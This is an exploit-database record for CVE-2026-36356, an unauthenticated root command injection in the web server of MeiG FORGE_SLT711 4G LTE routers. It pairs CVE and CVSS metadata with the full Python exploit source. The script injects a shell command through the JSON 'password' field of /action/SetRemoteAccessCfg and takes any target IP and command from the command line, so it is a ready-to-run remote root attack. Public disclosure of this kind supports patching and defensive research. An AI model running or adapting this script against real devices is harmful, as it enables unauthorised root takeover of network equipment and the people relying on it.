{"exploit":{"id":"EDB-52581","name":"MeiG Smart FORGE_SLT711 - OS Command Injection","description":"MeiG Smart FORGE_SLT711 - OS Command Injection","cves":["CVE-2026-36356"],"author":"Daniil Gordeev","published":"2026-05-27","platform":"linux","type":"hardware","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52581","path":"exploits/linux/hardware/52581.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52581.py","vulnerabilities":[{"id":"CVE-2026-36356","state":"PUBLISHED","title":null,"titleSource":null,"description":"The GoAhead web server on MeiG Smart FORGE_SLT711 devices (firmware MDM9607.LE.1.0-00110-STD.PROD-1) allows unauthenticated OS command injection via the /action/SetRemoteAccessCfg endpoint.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-36356","cvss":{"version":"3.1","baseScore":9.1,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-36356"},"updatedAt":"2026-07-05T16:16:35.278Z","retrievedAt":"2026-11-25T16:15:50.199Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52581.png?v=2","url":"https://exploitbin.com/exploits/EDB-52581","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52581/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52581/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: MeiG Smart FORGE_SLT711 - OS Command Injection\n# Date: 2026-05-03\n# Exploit Author: Daniil Gordeev\n# Vendor Homepage: http://www.meigsmart.com\n# Software Link: N/A (firmware distributed via carrier channels)\n# Version: Firmware MDM9607.LE.1.0-00110-STD.PROD-1 (likely all firmware versions of this product line)\n# Tested on: MeiG FORGE_SLT711 (Ortel 4G LTE CPE), Qualcomm MDM9607, Linux 3.18.48\n# CVE: CVE-2026-36356\n\"\"\"\nUnauthenticated RCE — MeiG FORGE_SLT711 (Ortel 4G LTE CPE)\nGoAhead /action/SetRemoteAccessCfg OS command injection\n\nVuln:  JSON \"password\" field → sprintf(\"echo root:\\\"%s\\\"|chpasswd\") → system()\nAuth:  None (endpoint missing from route.txt auth list)\nRoot:  Commands execute as uid=0(root)\nType:  Blind — output not in HTTP response, use --cmd \"cmd > /tmp/out\" to exfil\n\nDiscovered: 2026-02-21\nTested on:  FW MDM9607.LE.1.0-00110-STD.PROD-1\n\"\"\"\n\nimport argparse\nimport json\nimport sys\nimport urllib.request\nimport urllib.error\n\ndef exploit(ip: str, cmd: str, port: int = 80, timeout: int = 10) -> bool:\n    url = f\"http://{ip}:{port}/action/SetRemoteAccessCfg\"\n    payload = json.dumps({\"password\": f\"$({cmd})\"})\n\n    req = urllib.request.Request(\n        url,\n        data=payload.encode(),\n        headers={\"Content-Type\": \"application/json\"},\n        method=\"POST\",\n    )\n\n    try:\n        with urllib.request.urlopen(req, timeout=timeout) as resp:\n            body = resp.read().decode()\n            data = json.loads(body)\n            if data.get(\"retcode\") == 0:\n                print(f\"[+] retcode:0 — command executed as root\")\n                return True\n            else:\n                print(f\"[-] Unexpected response: {body}\")\n                return False\n    except urllib.error.URLError as e:\n        print(f\"[-] Connection failed: {e}\")\n        return False\n    except Exception as e:\n        print(f\"[-] Error: {e}\")\n        return False\n\ndef main():\n    p = argparse.ArgumentParser(\n        description=\"MeiG SLT711 GoAhead unauthenticated RCE (blind)\",\n        epilog=\"Example: %(prog)s --ip 192.168.1.1 --cmd 'id > /tmp/out'\",\n    )\n    p.add_argument(\"--ip\", default=\"192.168.1.1\", help=\"Target IP (default: 192.168.1.1)\")\n    p.add_argument(\"--port\", type=int, default=80, help=\"Target port (default: 80)\")\n    p.add_argument(\"--cmd\", required=True, help=\"Command to execute as root (blind, no output returned)\")\n    p.add_argument(\"--timeout\", type=int, default=10, help=\"HTTP timeout in seconds (default: 10)\")\n    args = p.parse_args()\n\n    print(f\"[*] Target:  {args.ip}:{args.port}\")\n    print(f\"[*] Command: {args.cmd}\")\n    print(f\"[*] Payload: $({{cmd}}) inside password field\")\n\n    ok = exploit(args.ip, args.cmd, args.port, args.timeout)\n    sys.exit(0 if ok else 1)\n\nif __name__ == \"__main__\":\n    main()","sha256":"98894e6bb7da60f2f0731c0dea8547e98628f232e5ea990d6b275bcd2debdbbc","bytes":2786,"fetchedAt":"2026-11-26T11:05:49.013Z","encoding":"utf-8 (display only; download retains original bytes)"}